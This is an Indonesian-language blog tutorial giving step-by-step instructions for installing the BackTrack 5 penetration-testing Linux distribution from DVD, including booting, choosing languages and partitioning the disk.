1. Burn ISO Backrack 5 yang telah dididownload kedalam DVD,kemudian booting.
2. Maka akan keluar tampilan seperti ini,kemudian pilih “Backtrack Text – Default Boot Text Mode “
3. ketik startx untuk mendapatkan mode GUI.
4. Klik icon “Install BackTrack” pada desktop
5. Pilih bahasa yang diinginkan
6. pilih lokasi tempat tinggal
7. klik forward,kecuali anda ingin menggati keyboard layout
8. untuk menggunakan seluruh hardisk pilih “Erase and use the entire disk”
tapi jika sahabat ingin membuat partisi secara manual atau ingin membuat dualboot sahabat bisa melihat artikel sebelumnya tentang DualBoot Backtrack – Windows xp/Vista/7.
pilih “Specify patitions manually (advanced)” maka akan keluar tampilan seperti ini :
untuk swap cukup 1 Giga saja.
9. Setelah mengisi data pribadi dan password klik forward maka akan keluar tampilan seperti ini,kemudian klik Install
10. Tunggu sampai instalasi selesai,dan selamat menggunakan backtrack 5 Revolution,:)
Semoga artikel ini bermanfaat buat anad, Selamat Mencoba …
 
.